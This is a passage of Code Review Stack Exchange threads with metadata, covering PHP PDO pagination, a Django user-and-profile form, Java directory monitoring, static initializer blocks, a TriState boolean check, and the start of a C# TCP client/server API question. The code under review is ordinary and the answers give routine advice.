innocent:</p>\n\n<pre><code>$sql = \"SELECT * FROM company\";\n$stmt = $pdo->prepare($sql);\n$stmt->execute();\n$total_results = $stmt->rowCount();\n</code></pre>\n\n<p>What does this code do? It is merely selecting <strong>all rows from the table</strong> and sending them to PHP, so it will be able to count them. Imagine there will be 100000 rows, with 1k data in each. It will result in sending 1G of data from database server to PHP. Not only it will consume a lot of resources in the process but most likely it will overflow the memory limit in PHP and make it die with the fatal error. </p>\n\n<p>So you should n<strong>ever ever use rowCount() for pagination</strong>. Instead, you must ask a database to get you the number of rows. </p>\n\n<h3>Query builder</h3>\n\n<p>In order to make this code more maintainable (so every query part would be written only once), we must split the SQL into distinct parts and then use them to construct the particular query:</p>\n\n<pre><code>$select_count = \"SELECT count(*) FROM company\";\n$select_data = \"SELECT company.id, company.name, inn, ceo, city, phone\n FROM company\n LEFT JOIN address ON company.id = address.company_id\n LEFT JOIN contact ON company.id = contact.company_id\";\n$where = \"WHERE MATCH (company.name, inn, ceo) AGAINST (:searchTerm)\n OR MATCH (city, street) AGAINST (:searchTerm)\n OR MATCH(contact.name, phone, email) AGAINST (:searchTerm)\";\n$order_limit = \"ORDER BY id DESC LIMIT $starting_limit, $limit\";\n\nif (isset($_GET['search'])) {\n\n $parameters = [':searchTerm' => $_GET['search']];\n $sql_count = \"$select_count $where\";\n $sql_data = \"$select_data $where $order_limit\";\n\n} else {\n\n $parameters = [];\n $sql_count = \"$select_count\";\n $sql_data = \"$select_data $order_limit\";\n}\n\n$stmt = $pdo->prepare($sql_count);\n$stmt->execute($parameters);\n$num_results = $stmt->fetchColumn();\n$total_pages = ceil($num_results/$limit);\n\n$stmt = $pdo->prepare($sql_data);\n$stmt->execute($parameters);\n$results = $stmt->fetchAll();\n</code></pre>\n\n<h3>Better separation between HTML and database stuff</h3>\n\n<p>The rest is your code is Okay, I would only remove any mention of a database stuff from HTML. So I would rather get all the rows into array first and than just iterate over it in HTML.</p>\n\n<pre><code> <tbody>\n <?php foreach ($results as $row): ?>\n <tr>\n <td scope='row'><?=$row['inn']?></td>\n <td><a href=\"company.php?id=<?=$row[\"id\"]?>\"><?=$row['name']?></a></td>\n <td><?=$row['ceo']?></td>\n <td><?=$row['city']?></td>\n <td><?=$row['phone']?></td>\n </tr>\n <?php endforeach ?>\n </tbody>\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T04:26:55.757",
"Id": "412015",
"Score": "0",
"body": "Great many thanks! You've discovered exactly what I was in doubt of, just couldn't make it clear. Can I ask you to point me at some books/online tutorials that cover topics like code reusage, proper architecture and the web app architecture as well?\n\nBecause my other code is pretty simple to this :("
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T08:35:40.610",
"Id": "212961",
"ParentId": "212958",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T07:34:04.653",
"Id": "212958",
"Score": "3",
"Tags": [
"php",
"pdo"
],
"Title": "PHP PDO search & pagination"
} | 212958 |
<p>I'm learning Django and making my (technically second) project.</p>
<p>The project features several apps, including <strong>player_interface</strong> and <strong>manager_interface</strong>.</p>
<p>Here's the player_interface/models.py:</p>
<pre><code>from django.db import models
from django.contrib.auth.models import User
class PlayerProfile(models.Model):
user = models.OneToOneField(User, on_delete=models.PROTECT,
limit_choices_to={'is_staff': False})
balance = models.PositiveIntegerField(default=0)
def __str__(self):
return f'PlayerProfile user_id={self.user_id} balance={self.balance}'
</code></pre>
<p>In the manager_interface app, I want to create users together with corresponding player profiles. So I made a form (in manager_interface/forms.py):</p>
<pre><code>from django import forms
from django.contrib.auth.models import User
from django.db import transaction
from player_interface.models import PlayerProfile
PlayerProfileUserFormset = forms.inlineformset_factory(
User, PlayerProfile, fields=('balance',),
extra=1, max_num=1, can_delete=False)
class PlayerUserForm(forms.ModelForm):
def __init__(self, data=None, instance=None, **kwargs):
super().__init__(data=data, instance=instance, **kwargs)
self.formset = PlayerProfileUserFormset(data=data,
instance=self.instance)
def is_valid(self):
return super().is_valid and self.formset.is_valid()
@transaction.atomic
def save(self):
super().save()
self.formset.save()
return self.instance
class Meta:
model = User
fields = ('username', 'password')
</code></pre>
<p>And this is how I use this form in manager_interface/views.py:</p>
<pre><code><...>
class CUPlayerMixin:
template_name = 'manager_interface/players_form.html'
form_class = PlayerUserForm
success_url = reverse_lazy('players_list')
class CreatePlayerView(CUPlayerMixin, edit_views.CreateView):
pass
class UpdatePlayerView(CUPlayerMixin, edit_views.UpdateView):
queryset = User.objects.filter(is_staff=False)
slug_field = 'username'
slug_url_kwarg = slug_field
</code></pre>
<p>And the relevant template bit is:</p>
<pre><code>{% block content %}
<form method="post">
{% csrf_token %}
{{ form.as_p }}
<div>{{ form.formset.as_p }}</div>
<button type="submit">Submit</button>
</form>
{% endblock %}
</code></pre>
<p>The code above works.</p>
<p>My question is: <em>is this a good, Django way to handle a form for both a model and its association?</em></p>
<p>In this case, I edit both the <code>User</code> model with the associated <code>PlayerProfile</code>. That's why I decided to use the formset: it would automatically populate the subform for the player profile and then save it with the <code>self.formset.save()</code> part, keeping track of the association and all.</p>
<p>Thank you very much!</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T09:01:51.893",
"Id": "411854",
"Score": "0",
"body": "The way I understand it, I can call `formset.save()` and it will automatically create the player profile with the user instance set, etc. If I understand this correctly, if I just make a simple form, I'll have to create the profile instance manually."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T09:15:36.167",
"Id": "411857",
"Score": "0",
"body": "Yes (`PlayerUserForm` is, in fact, a `ModelForm`), but I would still have to create the `PlayerProfile` instance manually, would I not?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T09:30:14.347",
"Id": "411862",
"Score": "0",
"body": "I just use `{{ form.as_p }}` and then `{{ form.formset.as_p }}`."
}
] | [
{
"body": "<p>You have the right approach of creating two separate forms for your two models involved (<code>User</code> and <code>PlayerProfile</code>) but I think the formset is overkill and not the right tool for the job anyway.</p>\n\n<p>I’d rather create the <code>ModelForm</code>s more naturally:</p>\n\n<pre><code>class UserForm(forms.ModelForm):\n class Meta:\n model = User\n fields = ('username', 'password')\n\n\nclass PlayerProfileForm(forms.ModelForm):\n class Meta:\n model = PlayerProfile\n fields = ('balance',)\n</code></pre>\n\n<p>And glue them together with an ad-hoc \"form\" along the lines of:</p>\n\n<pre><code>class PlayerUserForm:\n def __init__(self, *args, **kwargs):\n self.user_form = UserForm(*args, **kwargs)\n self.player_form = PlayerProfileForm(*args, **kwargs)\n\n def is_valid(self):\n # Make sure to **not** short-circuit so as\n # to populate both forms errors, if any. \n user_valid = self.user_form.is_valid()\n player_valid = self.player_form.is_valid()\n return user_valid and player_valid\n\n @transaction.atomic\n def save(self):\n user = self.user_form.save()\n player = self.player_form.save(commit=False)\n player.user = user\n player.save()\n return player\n</code></pre>\n\n<p>And you can add template helpers for good measure:</p>\n\n<pre><code> def __str__(self):\n return self.as_table()\n\n def as_table(self):\n return mark_safe(f'{self.user_form.as_table()}\\n{self.player_form.as_table()}')\n\n def as_ul(self):\n return mark_safe(f'{self.user_form.as_ul()}\\n{self.player_form.as_ul()}')\n\n def as_p(self):\n return mark_safe(f'{self.user_form.as_p()}\\n{self.player_form.as_p()}')\n</code></pre>\n\n<p>This is untested but should work as a drop-in replacement for your <code>PlayerUserForm</code>.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T11:27:26.797",
"Id": "212971",
"ParentId": "212960",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "212971",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T07:44:18.840",
"Id": "212960",
"Score": "1",
"Tags": [
"python",
"validation",
"form",
"django"
],
"Title": "Using a form with formsets in Django"
} | 212960 |
<p>Currently I am working on some kind of mechanism which will be able to monitor directory and when file with extension <code>.pdf</code> appears I need to mock some kind of processing on this file. Let's say, renaming and creating log file with the information of this processing.
And as I wrote it is some kind of mock. So information which will be added to log file will be mocked/hard coded. </p>
<p>So what I was able to do is this:</p>
<pre><code>public class FileUtils {
private FileUtils() {}
private static final EnumMap<ImportOption, Consumer<String>> runOnOption = new EnumMap<> (ImportOption.class);
static {
runOnOption.put(ImportOption.SUCCEEDED, (filePath) -> processSucceededPdfFile(filePath));
runOnOption.put(ImportOption.FAILED, (filePath) -> processFailFile(filePath));
runOnOption.put(ImportOption.WARNING, (filePath) -> processWarningPdfFile(filePath));
runOnOption.put(ImportOption.ERROR_ON_MISSING_RIGHTS, (filePath) -> processErrorPdfFile(filePath));
}
private final static String FILE_PATH_TO_DIR = "D:\\dirTest";
private static final String SUCCEEDED_EXTENSION = ".1.SUCCEEDED";
private static final String UPDATING_EXTENSION = ".1.UPDATING";
private static final String log_EXTENSION = ".1.log";
public static void monitorDirectory(String dirLocation, ImportOption option) {
String dirPath = FILE_PATH_TO_DIR + File.separator + dirPath;
try {
WatchService watchService = FileSystems.getDefault().newWatchService();
Path path = Paths.get(dirPath);
path.register(watchService, StandardWatchEventKinds.ENTRY_CREATE);
System.out.println("Starting monitoring: ");
WatchKey key = watchService.take();
for (WatchEvent<?> event : key.pollEvents()) {
String fileName = event.context().toString();
if (ispdfFile(fileName)) {
runOnOption.get(option).accept(fileName);
break;
}
}
}
catch (IOException | InterruptedException e) {
}
}
private static boolean ispdfFile(String fileName) {
return fileName.substring(fileName.lastIndexOf('.'), fileName.length()).equals(".pdf");
}
private static void processFailFile(String filePath){
Path pdfFilePath = Paths.get(filePath);
Path updatingPath = Paths.get(filePath + UPDATING_EXTENSION);
Path failedPath = Paths.get(filePath + SUCCEEDED_EXTENSION);
try {
Files.move(pdfFilePath, updatingPath);
Files.move(updatingPath, failedPath);
}
catch (IOException e) {
}
}
private static void processSucceededpdfFile(String filePath){
Path pdfFilePath = Paths.get(filePath);
Path updatingPath = Paths.get(filePath + UPDATING_EXTENSION);
Path logPath = Paths.get(filePath + LOG_EXTENSION);
Path succeededPath = Paths.get(filePath + SUCCEEDED_EXTENSION);
try {
Files.move(pdfFilePath, updatingPath);
Files.move(updatingPath, succeededPath);
Files.createFile(logPath);
Files.write(logPath, LogFileContent.SUCCEEDED_LOG_CONTENT.getBytes());
}
catch (IOException e) {
}
}
private static void processErrorpdfFile(String filePath){
Path pdfFilePath = Paths.get(filePath);
Path updatingGPath = Paths.get(filePath + UPDATING_EXTENSION);
Path logPath = Paths.get(filePath + LOG_EXTENSION);
Path succeededPath = Paths.get(filePath + SUCCEEDED_EXTENSION);
try {
Files.move(pdfFilePath, updatingPath);
Files.move(updatingPath, succeededPath);
Files.createFile(logPath);
Files.write(logPath, LogFileContent.ERROR_RIGHT_LOG_CONTENT.getBytes());
}
catch (Exception e) {
}
}
private static void processWarningpdfFile(String filePath) {
Path pdfFilePath = Paths.get(filePath);
Path updatingPath = Paths.get(filePath + UPDATING_EXTENSION);
Path logPath = Paths.get(filePath + LOG_EXTENSION);
Path succeededPath = Paths.get(filePath + SUCCEEDED_EXTENSION);
try {
Files.move(pdfFilePath, updatingPath);
Files.move(updatingGPath, succeededPath);
Files.createFile(logPath);
Files.write(logPath, LogFileContent.WARNING_LOG_CONTENT.getBytes());
}
catch (Exception e) {
}
}
}
</code></pre>
<p>So this code will be used like this:</p>
<pre><code>FileUtils.monitorDirectory(dirLocation, importOption/*Enum*/);
</code></pre>
<p>So what I dont like? Mostly every method witch <code>process</code> in name. They seems to be realy similar to each others. And because it is utils/static class I am not sure how to reduce this duplicate code. </p>
<p>ImportOption enum in some time could contain much more options. But processing will not change much, except maybe content of log file.</p>
<p>If you have any other points, please go ahead with them. </p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T13:15:18.957",
"Id": "411902",
"Score": "0",
"body": "Instantly I see try/catch blocks with no exception handling. There is a rarely a good reason to do this."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T20:02:25.343",
"Id": "411982",
"Score": "0",
"body": "@JamesTrotter Please put all criticisms and suggestions for improvements in answers."
}
] | [
{
"body": "<p>Hello Suule and welcome to Codereview.</p>\n\n<p>What you can do is use a <em>strategy</em> pattern to say what to do in each case. This will not only allow you to reuse the \"process\" but also to decouple the monitoring and processing code.</p>\n\n<pre><code>FileUtils.monitor(String directory, Consumer<File> action);\n\nclass LogAction implements Consumer<File> {\n\n private final String content;\n\n public LogAction(String content) {\n this.content = content;\n }\n\n @Override\n public void accept(File file) {\n Path logPath = Paths.get(file.getName() + LOG_EXTENSION);\n try {\n Files.write(logPath, this.content.getBytes());\n } catch (IOException e) {\n throw new RuntimeException(e);\n }\n }\n}\n\nFileUtils.monitor(\"some/directory\", new MoveAction(..).andThen(new LogAction(..));\n</code></pre>\n\n<p>Also note that the <code>ispdfFile(String):boolean</code> method can be simplified with <code>String#endsWith(String):boolean</code>.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T10:03:30.227",
"Id": "212967",
"ParentId": "212962",
"Score": "6"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T08:46:24.983",
"Id": "212962",
"Score": "4",
"Tags": [
"java",
"file-system"
],
"Title": "Simple directory monitoring and processing file on appearance"
} | 212962 |
<p>Suppose, I have a data access layer class, where I want to specify database connection parameters. Usually, I do it as static variables and initialize it right after definition, e.g. see <code>DB_NAME</code> variable case.</p>
<p>Performing code review, I paid attention that sometimes such logic is implemented with a static block, e.g. see <code>DB_HOST</code> variable case.</p>
<pre class="lang-java prettyprint-override"><code>public class DAL {
private static final String DB_NAME = "MY_DB";
private static final String DB_USER = "DB_ADMIN";
private static final String DB_HOST;
static {
DB_HOST = "127.0.0.1";
}
}
</code></pre>
<p><strong>The questions:</strong></p>
<ol>
<li>Is there any benefit from using a static block in such specific scenario?</li>
<li>When should I prefer to use a static block over a regular static variable initialization?</li>
</ol>
<p>P.S. I found a similar question on SO: <a href="https://stackoverflow.com/questions/9056895/why-use-static-blocks-over-initializing-instance-variables-directly">Why use static blocks over initializing instance variables directly?</a>, but if you have something to add, you're welcome.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T12:00:42.170",
"Id": "411886",
"Score": "1",
"body": "A static block is often used to fill a constant map; when a single expression is not feasible. Above it could only be a self-invented stylistic issue, maybe DB_HOST is intended to be replaced or always fixed."
}
] | [
{
"body": "<ol>\n<li>In such scenario it only obstructs code readability. No benefits.</li>\n<li>You should use static block only if static field initialization is not enough (e.g. you should call several methods, or this methods throw checked exceptions).</li>\n</ol>\n\n<p>Just created 2 sample classes:</p>\n\n<pre><code>public class Static {\n public static String s = \"qwe\";\n}\n</code></pre>\n\n<hr>\n\n<pre><code>public class StaticBlock {\n public static String s;\n static {\n s = \"qwe\";\n }\n}\n</code></pre>\n\n<p>And using <code>javap -c</code> we can see bytecodes of this classes:</p>\n\n<pre><code>Compiled from \"Static.java\"\npublic class Static {\n public static java.lang.String s;\n\n public Static();\n Code:\n 0: aload_0\n 1: invokespecial #1 // Method java/lang/Object.\"<init>\":()V\n 4: return\n\n static {};\n Code:\n 0: ldc #2 // String qwe\n 2: putstatic #3 // Field s:Ljava/lang/String;\n 5: return\n}\n</code></pre>\n\n<hr>\n\n<pre><code>Compiled from \"StaticBlock.java\"\npublic class StaticBlock {\n public static java.lang.String s;\n\n public StaticBlock();\n Code:\n 0: aload_0\n 1: invokespecial #1 // Method java/lang/Object.\"<init>\":()V\n 4: return\n\n static {};\n Code:\n 0: ldc #2 // String qwe\n 2: putstatic #3 // Field s:Ljava/lang/String;\n 5: return\n}\n</code></pre>\n\n<p>As you can see, bytecodes are identical :)</p>\n\n<p><strong>UPD</strong>: Its getting more interesting! If we add <code>final</code> modifier to our static field, bytecodes will be different.</p>\n\n<pre><code>public class Static {\n public static final String s = \"qwe\";\n}\n</code></pre>\n\n<hr>\n\n<pre><code>public class StaticBlock {\n public static final String s;\n static {\n s = \"qwe\";\n }\n}\n</code></pre>\n\n<p>We will have: </p>\n\n<pre><code>Compiled from \"Static.java\"\npublic class Static {\n public static final java.lang.String s;\n\n public Static();\n Code:\n 0: aload_0\n 1: invokespecial #1 // Method java/lang/Object.\"<init>\":()V\n 4: return\n}\n</code></pre>\n\n<hr>\n\n<pre><code>Compiled from \"StaticBlock.java\"\npublic class StaticBlock {\n public static final java.lang.String s;\n\n public StaticBlock();\n Code:\n 0: aload_0\n 1: invokespecial #1 // Method java/lang/Object.\"<init>\":()V\n 4: return\n\n static {};\n Code:\n 0: ldc #2 // String qwe\n 2: putstatic #3 // Field s:Ljava/lang/String;\n 5: return\n}\n</code></pre>\n\n<p>I found a little bit of explanation in <a href=\"https://stackoverflow.com/questions/8354412/do-java-finals-help-the-compiler-create-more-efficient-bytecode\">this question</a>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T12:01:19.137",
"Id": "411887",
"Score": "0",
"body": "Regarding _«You should use static block only if static field initialization is not enough»_, in such cases I write a method, which returns a desired value for the static variable. Is usage a static block a better alternative than approach I use?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T12:11:45.720",
"Id": "411888",
"Score": "0",
"body": "@MikeB. There is one major difference between them: static block is called only once by VM; static method could be called several times by users. \nBasically, in case of method, you just 'cache' method's result into variable. If this result is constant, there is no sense calling this method again ever, because you already have computed value in variable (and in this case introducing method could confuse developers, so they can call this method, instead of using variable). If method result is not constant and it makes sense to call this method later on, its absolutely ok to have this method)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T12:13:47.233",
"Id": "411889",
"Score": "1",
"body": "@MikeB. also take a look at another opinions: https://stackoverflow.com/questions/11618551/static-block-vs-private-static-method-for-static-member-initialization"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T11:28:25.383",
"Id": "212972",
"ParentId": "212966",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "212972",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T10:03:15.907",
"Id": "212966",
"Score": "0",
"Tags": [
"java",
"static"
],
"Title": "Usage of static block vs. direct static variable initialization"
} | 212966 |
<p>As part of a code review I came across this <code>isDummy(a,b)</code>-Method and the question, whether it is more readable as a conjunction, or a disjunction:</p>
<p>Original snippet:</p>
<pre><code>public static boolean isDummy(TriState a, TriState b) {
return (a.is(ZERO) || b.is(ZERO)) && (a.is(NULL) || b.is(NULL));
}
</code></pre>
<p>Suggested change:</p>
<pre><code>public static boolean isDummy(TriState a, TriState b) {
return a.is(ZERO) && b.is(NULL) || a.is(NULL) && b.is(ZERO);
}
</code></pre>
<p>Both of the above return <code>true</code> if one <code>TriState</code> <em>is</em> <code>ZERO</code> and the other <em>is</em> <code>NULL</code>.</p>
<p>Both do exactly the same; however, the latter imho clearly states, that just two possible combinations are <em>a dummy</em>.<br>
The first one could - without knowing that ZERO is not a VALUE and <code>TriState#is(TriState)</code> does an equality check - possibly suggest, that four possible combinations are <em>dummy values</em>.</p>
<p>As you can see in <code>TriState</code>'s constructor the author's intention was to implement a helper mechanism to check <code>Double</code>s for its <em>"valueness"</em>. Infinity and NaN aren't taken into account:</p>
<pre><code>enum TriState {
NULL, ZERO, VALUE;
public static TriState of(Double number) {
if (number == null) {
return TriState.NULL;
} else if (number == 0d) {
return TriState.ZERO;
} else {
return VALUE;
}
}
private boolean is(TriState other) {
return this == other;
}
/**
* Tests if this object is {@link #VALUE} and the given TriState is not {@link #VALUE}.
*
* @param other the TriState to test against
* @return true if this object is {@link #VALUE} AND the given TriState is not {@link #VALUE}. False otherwise.
*/
public boolean andNot(TriState other) {
return this.is(VALUE) && !other.is(VALUE);
}
/**
* Compares two TriState objects to find out if exactly one is ZERO and exactly one is NULL. This method is commutative.
*
* @param a a TriState instance to check
* @param b a TriState instance to check
* @return true, if one of the given TriState objects is {@link #ZERO} while the other is {@link #NULL}. False otherwise.
*/
public static boolean isDummy(TriState a, TriState b) {
return (a.is(ZERO) || b.is(ZERO)) && (a.is(NULL) || b.is(NULL));
}
}
</code></pre>
<p>While the mere existence of that Enum instead of just using Double instances directly is a whole different matter, I would be interested if there are any known best practices regarding that boolean expression.</p>
<p>Which of the both is easier to understand?</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T13:36:28.193",
"Id": "411905",
"Score": "0",
"body": "This is my first question on CR, I tried hard to find a good title and the right tags. If there is anything I can improve, please enlighten me."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T17:37:57.290",
"Id": "411961",
"Score": "0",
"body": "Can you confirm that the code you've posted for review is your own code (either written by you, or now maintained by you), so that it's certainly on-topic?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T21:03:50.203",
"Id": "411986",
"Score": "1",
"body": "Yes this code is maintained by me and a colleague and we are discussing on how to improve its readability. The original author of that specific method told me that his (original) version is a well known best practice so we decided to ask the community."
}
] | [
{
"body": "<p>This question is on the edge of being closed as off topic:</p>\n\n<blockquote>\n <p>Authorship of code: Since Code Review is a community where programmers improve their skills through peer review, we require that the code be <a href=\"https://codereview.meta.stackexchange.com/questions/3649/my-question-was-closed-as-being-off-topic-what-are-my-options/3654#3654\">posted by an author or maintainer</a> of the code, that the code be embedded directly, and that <em>the poster know why the code is written the way it is</em>.</p>\n</blockquote>\n\n<p>I'll assume you are (now) the maintainer of the code, since you are doing a code review of it, and considering changing it. If you have inherited this code, you probably have access to the original author of the code, and should ask them <strong>why</strong> they wrote it the way they did. If they are no longer around, and this is now your code to maintain, and you are considering changing it for clarity ...</p>\n\n<p>I would drop the <code>.is()</code> altogether, and use:</p>\n\n<pre><code>return a==ZERO && b==NULL || b==ZERO && a==NULL;\n</code></pre>\n\n<p>The <code>.is()</code> method is <code>private</code>, and can't be used outside of the class. The implementation of the <code>.is()</code> method is not doing anything other than a <code>==</code> test, so it is adding visual noise (extra characters), and mental noise (another function to examine to understand the code), and possible inefficiency (extra function calls) for no apparent gain.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T16:52:03.773",
"Id": "411944",
"Score": "2",
"body": "You've might have already read answers to [Short answers and code-only answers](https://codereview.meta.stackexchange.com/q/1463/120114) - could you explain to the OP and others why removing the `.is()` calls is better? e.g. fewer function calls, fewer characters, etc."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T21:07:30.213",
"Id": "411987",
"Score": "0",
"body": "Thanks for your answer. As I told in a comment on the question I asked the original author and his answer didn't really had a real **why** that's why I'm asking whether this might be a best practice I don't know or the other way is more _logical_. Don't think it is off topic."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T21:09:18.203",
"Id": "411988",
"Score": "0",
"body": "Removing the is () is honestly something I didn't really consider... It looked so... _familiar_"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T15:49:29.470",
"Id": "212983",
"ParentId": "212977",
"Score": "1"
}
},
{
"body": "<p>With given definition of what this method do:</p>\n\n<blockquote>\n <p>return true if one TriState is ZERO and the other is NULL</p>\n</blockquote>\n\n<p>changed method looks better. </p>\n\n<p>Also, as @AJNeufeld proposed, it's better to get rid of <code>is()</code> (because why do you even need this? :) )</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T17:21:57.627",
"Id": "212992",
"ParentId": "212977",
"Score": "0"
}
},
{
"body": "<p>The readability can be improved by using explanatory variables, (of course changing the variable names as they make sense to you).</p>\n\n<pre><code>public static boolean isDummy(TriState a, TriState b) {\n boolean oneOfTheInputsIsZero = a.is(ZERO) || b.is(ZERO);\n boolean oneOfTheInputsIsNull = a.is(NULL) || b.is(NULL);\n return oneOfTheInputsIsZero && oneOfTheInputsIsNull;\n}\n</code></pre>\n\n<p>First one makes it obvious that the function is commutative, in the second one you have to check the LHS and RHS are indeed the mirror image of each other.</p>\n\n<p>Although the two functions may evaluate the same thing they don't say the same thing.\nFirst one says \"There is at least one zero and there is at least one null.\"\nSecond one says \"There is one zero and the other one is null.\" (which matches the javadoc)</p>\n\n<p>But the comments sometimes also lie. To check the veracity of the comment consider how would you write the function if it took more parameters.</p>\n\n<p>They still say what they say before but now they don't evaluate the same coincidentally.</p>\n\n<pre><code>public static boolean isDummy(TriState a, TriState b, TriState c) {\n return (a.is(ZERO) || b.is(ZERO) || c.is(ZERO))\n && (a.is(NULL) || b.is(NULL) || c.is(NULL));\n}\n\n\npublic static boolean isDummy(TriState a, TriState b, TriState c) {\n return a.is(ZERO) && b.is(NULL) && c.is(NULL) \n || a.is(NULL) && b.is(ZERO) && c.is(NULL) \n || a.is(NULL) && b.is(NULL) && c.is(ZERO);\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T16:30:06.407",
"Id": "412110",
"Score": "0",
"body": "This one together with removing `is()` seems the best option imo. Thanks! Also your answer seems to best illustrate the different _\"kind of expressing\"_."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T06:51:32.697",
"Id": "213014",
"ParentId": "212977",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "213014",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T13:33:07.943",
"Id": "212977",
"Score": "3",
"Tags": [
"java",
"enum",
"helper"
],
"Title": "Simple boolean gate with two TriState inputs"
} | 212977 |
<p>I made a server and client API for TCP connection. It is intended to shorten the work you need to do to prepare the server and client.</p>
<p>It's separated into 3 projects - <code>TCPServer</code>, <code>TCPClient</code>, <code>Common</code>.</p>
<p>I've made an extended <code>tcpclient</code> type <code>IdentifiableTcpClient</code>, allowing for various modifications, the base additions are a Name and an ID. The class implements <code>IComponentConsumer</code> which allows for components based system to be created, further extending the flexibility of the client. There is also a <em>DTO</em> type used for serialization to pass through the network <code>IdentifiableTcpClientDTO</code>.</p>
<p>All components are required to inherit a <em>marker interface</em> <code>IComponent</code>.</p>
<h2>IComponent</h2>
<pre><code>public interface IComponent
{
}
</code></pre>
<h2>IComponentConsumer</h2>
<pre><code>public interface IComponentConsumer
{
IComponentConsumer AddComponent<T>(T component) where T : class, IComponent;
T GetComponent<T>() where T : class, IComponent;
}
</code></pre>
<h2>IdentifiableTcpClient</h2>
<pre><code>public class IdentifiableTcpClient : IEquatable<IdentifiableTcpClient>, IComponentConsumer, ICloneable
{
private readonly Dictionary<Type, IComponent> _components = new Dictionary<Type, IComponent>();
private readonly Guid _internalID;
public string Name { get; set; }
public TcpClient TcpClient { get; }
public IdentifiableTcpClient(TcpClient tcpClient, string name)
: this(tcpClient, name, Guid.NewGuid())
{
}
public IdentifiableTcpClient(TcpClient tcpClient)
: this(tcpClient, Environment.UserName)
{
}
//Used for cloning
private IdentifiableTcpClient(TcpClient tcpClient, string name, Guid internalID)
{
_internalID = internalID;
TcpClient = tcpClient;
Name = name;
}
public bool Equals(IdentifiableTcpClient other)
{
if (ReferenceEquals(null, other)) return false;
if (ReferenceEquals(this, other)) return true;
return _internalID.Equals(other._internalID);
}
public override bool Equals(object obj)
{
return obj is IdentifiableTcpClient client && Equals(client);
}
public override int GetHashCode()
{
return _internalID.GetHashCode();
}
public object Clone()
{
return new IdentifiableTcpClient(TcpClient, Name, _internalID);
}
public IComponentConsumer AddComponent<T>(T component)
where T : class, IComponent
{
var type = typeof(T);
if (_components.ContainsKey(type))
{
_components[type] = component;
}
else
{
_components.Add(type, component);
}
return this;
}
public T GetComponent<T>()
where T : class, IComponent
{
if (_components.TryGetValue(typeof(T), out var component))
{
return (T)component;
}
return null;
}
}
</code></pre>
<h2>IdentifiableTcpClientDTO</h2>
<pre><code>[Serializable]
public class IdentifiableTcpClientDTO
{
public string Name { get; set; }
public int HashCode { get; set; }
public IdentifiableTcpClientDTO(IdentifiableTcpClient client)
{
Name = client.Name;
HashCode = client.GetHashCode();
}
public IdentifiableTcpClientDTO()
{
}
}
</code></pre>
<p>There is also support for messages, commands and direct modifications on the client:</p>
<h2>Message</h2>
<pre><code>public enum MessageType
{
Message,
Command
}
[Serializable]
public class Message
{
public IdentifiableTcpClientDTO SenderDTO { get; }
public string Data { get; }
public MessageType MessageType { get; }
public IEnumerable<IModification<IdentifiableTcpClient>> Modifications { get; }
public Message(IdentifiableTcpClientDTO senderDTO, string data, MessageType messageType,
IEnumerable<IModification<IdentifiableTcpClient>> modifications)
{
SenderDTO = senderDTO;
Data = data;
MessageType = messageType;
Modifications = modifications;
}
}
</code></pre>
<p>Where <code>Modifications</code> are a couple of types allowing direct modifications to the client's properties/fields, they are not really relevant for this question so I will leave them at that.</p>
<p>Those messages are later serialized/deserialized by <code>MessageSerializer</code></p>
<h2>MessageSerializer</h2>
<pre><code>public static class MessageSerializer
{
public static byte[] Serialize(Message message)
{
using (var memoryStream = new MemoryStream())
{
new BinaryFormatter().Serialize(memoryStream, message);
return memoryStream.ToArray();
}
}
public static Message Deserialize(byte[] messageData)
{
using (var memoryStream = new MemoryStream(messageData))
{
